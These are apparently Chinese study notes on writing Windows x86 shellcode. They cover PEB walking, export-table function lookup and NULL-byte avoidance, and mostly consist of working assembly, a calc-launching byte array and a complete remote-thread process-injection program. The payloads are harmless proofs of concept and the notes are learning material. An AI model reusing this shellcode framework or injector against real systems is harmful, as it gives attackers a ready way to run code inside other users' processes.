shellcode的编写学习
前言:作为shellcode编写的笔记
参考文章:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/
整体学下来的感受:
1、数据交互都在堆栈
2、尽量避免硬编码00的产生,影响可能会影响shellcode的执行效果
3、每次调用完都尽量保持平衡,但并不是一定需要,比如你自己拿到一个重要的地址,类似XXX地址模块,那么就可以将其压入堆栈中进行保存,整体ESP-4,后续得话就以ESP-4来保持平衡即可
shellcode的编写原则
测试代码如下:
#include<windows.h>
int main(int argc, char* argv[])
{
system("dir");
return 0;
}
因为编译器正常设置编译完的程序会默认带有一些安全设置,就比如checkEsp,相关的调用约定的函数调用完都有检查堆栈是否平衡等
重新来看下,就发现相关的检查堆栈的硬编码就已经不在了
不能有全局变量
因为我们编写shellcode时,使用的全局变量是自己的进程里面的全局变量,注入到别的进程里,这个地址就没用了,因为一个进程启动会把字符串放置在一个特定的Section中(如.rdata或.data),而这个特定的节只有当前的进程知道如何寻找,其他的进程不知道如何寻找
所以通过这个点我们知道,我们需要的相关变量都需要是在堆栈中进行存储,比如要使用字符串的话,那么就需要使用字符数组来进行解决
char s[] = "12";
-> char s[] = {'1','2','\0'};
不能直接调用系统函数
在 C/C++ 中,调用函数很容易。我们指定#include <>
以使用特定的标头并通过其名称调用函数。
在后台,编译器和链接器处理了这个问题:它们解析函数的地址(例如来自user32.dll的MessageBox),我们可以很容易地通过它们的名称调用这些函数。
在 shellcode 中,我们不能这样做。我们不知道包含我们所需函数的 DLL 是否已加载到内存中,我们也不知道所需函数的地址。由于ASLR(地址空间布局随机化),DLL 不会每次都加载到相同的地址。此外,DLL 可能会随着每个新的 Windows 更新而更改,因此我们不能依赖 DLL 中的特定偏移量。
我们必须将 DLL 加载到内存中,并直接从 shellcode 中找到所需的函数。幸运的是,Windows API提供了两个有用的函数:LoadLibrary和GetProcAddress,我们可以使用它们来查找函数的地址。
但是 LoadLibrary,GetProcAddress 本身就是系统函数,它们本身就依赖IAT表,咋办呢?
解决方案是这样的:通过FS:[0x30] 找到PEB,然后通过PEB里的LDR链表 [PEB+0x0C]找到 kernel32.dll 的地址,然后我们遍历它的 IAT表,找到 LoadLibrary 和 GetProcAddress 函数
避免NULL字节
NULL 字节的值为 0x00。在 C/C++ 代码中,NULL 字节被认为是字符串的终止符。因此,shellcode 中这些字节的存在可能会干扰目标应用程序的功能,并且我们的 shellcode 可能无法正确复制到内存中。
即使这种情况不是强制性的,也存在使用strcpy () 函数的常见情况,例如缓冲区溢出。此函数将逐字节复制字符串,并在遇到 NULL 字节时停止。因此,如果 shellcode 包含一个 NULL 字节,strcpy 函数将在该字节处停止,并且 shellcode 将不完整,正如您可以猜到的那样,它将无法正常工作。
上图中的两条指令在功能上是等价的,但是第一个包含 NULL 字节,而第二个不包含。即使 NULL 字节在编译代码中很常见,避免它们也不是那么难。
此外,在某些特定情况下,shellcode 必须避免使用字符,例如 \r
或 \n
,甚至只能使用字母数字字符。
所以这里如果使用到的mov eax,0
都需要使用xor eax,eax
来进行替代,这样避免NULL字节的出现
汇编简单实现system函数
如下代码所示,然后这种的话并不算是shellcode,因为还有一定的局限性,默认调用的函数地址是不知道的
#include<windows.h>
int main(int argc, char* argv[])
{
char buffer[] = {'d','i','r','\0'};
system(buffer);
return 0;
}
这里直接将上面对应的汇编扣下来进行测试
#include<windows.h>
DWORD g_dwSystemAddr = 0;
__declspec(naked) void test01()
{
__asm
{
push ebp
mov ebp, esp
xor ebx, ebx
push ebx
mov byte ptr[ebp - 04h], 64h
mov byte ptr[ebp - 03h], 69h
mov byte ptr[ebp - 02h], 72h
lea ebx, [ebp - 04h]
push ebx
mov ebx, g_dwSystemAddr
call ebx
; 恢复堆栈
add esp, 0x4; 恢复esp
pop ebx
mov esp,ebp
mov esp,ebp
retn
}
}
int main(int argc, char* argv[])
{
HMODULE hModule = LoadLibrary("msvcrt.dll");
g_dwSystemAddr = (DWORD)GetProcAddress(hModule, "system");
test01();
return 0;
}
Shellcode通用实现
为了创建可靠的 shellcode,需要如下步骤的支持:
- 获取 kernel32.dll 基地址
- 查找GetProcAddress函数的地址
- 使用GetProcAddress查找LoadLibrary函数的地址
- 使用LoadLibrary加载 DLL(例如kernel32.dll)
- 使用GetProcAddress查找函数的地址(例如MessageBox)
- 指定函数参数
- 调用函数
编写Shellcode不是只为了在本机上运行,而是不依赖环境,需要通用于任何机器。所以,我们需要不依赖外部查找函数地址,那么,我们需要一段代码能够自己定位任意函数地址。
那么这里就需要通过fs:[0x30]来获得相关的LDR_MODULE,然后来遍历相关模块DLL中的导出表来获得函数了,通过这种方法可以摆脱函数地址的局限性
获取kernel32.dll
获取kernel32.dll就是通过PEB_LDR_DATA的结构体,因为它其中有三个类似的双向链表,其中都存储着相关加载模块的信息,通过遍历就可以进行获取指定模块的基址,模块大小等信息
xor ecx, ecx ; 绕过空字节的发生
mov eax, fs:[ecx + 0x30] ; 拿到PEB结构体
mov eax, [eax + 0xc] ; 拿到_PEB_LDR_DATA结构体
mov esi, [eax + 0x14] ; 获取LDR结构体中的InMemoryOrderModuleList链表
lodsd ; EAX = ds:[esi],也就是InMemoryOrderModuleList指向的下一个LDR_MODULE的链表
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
这里可能会有一个疑问,为什么不直接给寄存器mov一个fs:[0x30],而是先xor esi, esi
,然后通过fs:30h+esi
来进行赋值
mov eax,fs:[30]
指令将组装成以下操作码序列:64 A1 30 00 00 00
,因此我们有空字节,而mov eax, fs:[ecx+0x30]
的指令为64 8B 41 30
。所以这种方式可以避免 NULL 字节。
PEB和PEB_LDR_DATA和PEB_LDR_MODULE的关系图如下所示
获取导出表的位置
mov edx, [ebx + 0x3c] ; edx = DOS->e_lfanew,DOS结构体的最后一个成员指向的就是PE Header
add edx, ebx ; edx = PE Header
mov edx, [edx + 0x78] ; edx = 获得一个8个字节的导出表的结构体中的Virtual Address
add edx, ebx ; edx = 获得Virtual Address所指向的导出表的起始地址
mov esi, [edx + 0x20] ; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames地址中的偏移值,也就是RVA
add esi, ebx ; esi = 基址+RVA的值保存在 esi 寄存器
xor ecx, ecx ; ecx = 0
查找 GetProcAddress 函数名称
学过PE大家肯定都了解遍历导出表,然后通过寻找GetProcAddress的思路,其中的一个实现方法就是通过导出函数名称表,再对应到导出函数序号表,最后从导出函数地址表中寻找。
导出函数名称表中找到GetProcAddress的名称,ecx则代表当前寻找的下标,如果找到了的话那么ecx就是当前要找函数的下标
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
查找 GetProcAddress 函数的地址
接着导出函数序号表中进行寻找,这里通过上面获得的ecx来继续寻找,这里说下为什么*2
,原因就是一个序号是占两个字节的,*4
的话就是函数地址是占4个字节
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
找到LoadLibrary函数地址
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
加载 user32.dll 库
add esp, 0xc ; pop "LoadLibraryA"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
之后你想要加载什么库只需要如下的地方进行修改即可
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
测试获取SwapMouseButton函数地址
到这里之后就非常的轻松了,因为已经拿到了user32.dll的模块,并且GetProcAddress也拿到了,之后每次需要获取user32.dll的函数的时候只需要执行下面的代码即可
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
调用SwapMouseButton
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
获取 ExitProcess 函数地址
执行完要执行的程序了之后,还需要进行结束进程的操作,这里还需要结束自身
add esp, 0x4 ; 这里是清理上面压入的参数使用的
pop edx ; 重新弹出GetProcAddress地址,继续使用该函数来获取ExitProcess
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
调用 ExitProcess 函数
最后,我们这样调用 ExitProcess 函数,结束自身
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
最终的shellcode
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; eBut
push 0x73756F4D ; Mous
push 0x70617753 ; Swap
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; Proc
push 0x74697845 ; Exit
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
WinExec执行计算器calc
#include<windows.h>
int main(int argc, char* argv[])
{
__asm
{
xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc] ; EAX = PEB->Ldr
mov esi, [eax + 0x14] ; ESI = PEB->Ldr.InMemOrder
lodsd ; EAX = Second module
xchg eax, esi ; EAX = ESI, ESI = EAX
lodsd ; EAX = Third(kernel32)
mov ebx, [eax + 0x10] ; EBX = Base address
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset namestable
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; Number of function
dec ecx
mov esi, [edx + 0x1c] ; Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
add esp, 0xc ; pop "LoadLibrary"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibrary
push ecx
push 0x6c6c642e; .dll
push 0x32336c65; el32
push 0x6e72656b; kern
push esp; "kernel32.dll"
call eax; LoadLibrary("kernel32.dll")
add esp, 0xC ; Clean stack
pop ecx;
mov edx, [esp + 0x4] ; EDX = GetProcAddress
push edx
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 61636578h
push ecx ; xeca
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 456e6957h
push esp ; "WinExec"
push eax ; kernel32.dll address
call edx ; GetProcAddress(WinExec)
add esp, 0x8 ; Cleanup stack
pop ecx;
xor ecx, ecx ; ECX = 0
xor ebx, ebx
push ecx
push 0x6578652e
push 0x636c6163
push 0x5c32336d
push 0x65747379
push 0x535c7377
push 0x6f646e69
push 0x575c3a43
mov ebx, esp
push 0xa
push ebx
call eax ; calc
add esp, 0x1C; Clean stack
pop ecx;
xor ecx,ecx
xor ebx,ebx
mov eax, dword ptr[esp+0xC]
mov edx, dword ptr[esp]
mov ecx, 0x61737365; essa
push ecx;
sub dword ptr[esp + 0x3], 0x61; Remove "a"
push 0x636f7250; Proc
push 0x74697845; Exit
push esp; ExitProcess
push eax; kernel32.dll base address
call edx; GetProc(ExitProcess)
xor ecx, ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcess
}
return 0;
}
如何实现提取机器码
有时候纯手写汇编会很慢的,所以如果我们能写代码然后转换为汇编的话,又或者想要提取汇编中的硬编码的时候就需要用到
#include<windows.h>
_declspec(naked) void test02()
{
__asm
{
xor ecx, ecx
....
....
....
call eax; ExitProcess
}
}
void printHexArray(PVOID startAddr, size_t nBytes)
{
for (size_t i = 0; i < nBytes; i++)
{
printf("0x%02X, ", ((PBYTE)startAddr)[i]);
if ((i + 1) % 16 == 0)
printf("\n");
}
}
int main(int argc, char* argv[])
{
printHexArray((PVOID)test02, 0x103);
return 0;
}
硬编码提取实现WinExec执行计算器calc
#include <stdio.h>
int main(int argc, char* argv[])
{
//printHexArray((PVOID)test02, 0x103);
//test02();
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
((void(*)(void))shellcode)();
return 0;
}
远程线程注入shellcode
为了测试shellcode的通用,这里还进行继续来进行测试,将shellcode注入到其他进程中来进行运行
#include<stdio.h>
#include<windows.h>
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk=FALSE;
if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount=1;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
fOk=(GetLastError()==ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
int main(int argc, char* argv[])
{
DWORD dwWritten;
DWORD dwProcessPid;
HANDLE hProcess;
PVOID pAddr;
unsigned char shellcode[] = {
0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
0x33, 0xC9, 0x51, 0xFF, 0xD0 };
EnableDebugPrivilege();
printf("Injection Pid: ");
scanf("%d", &dwProcessPid);
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0);
system("pause");
return 0;
}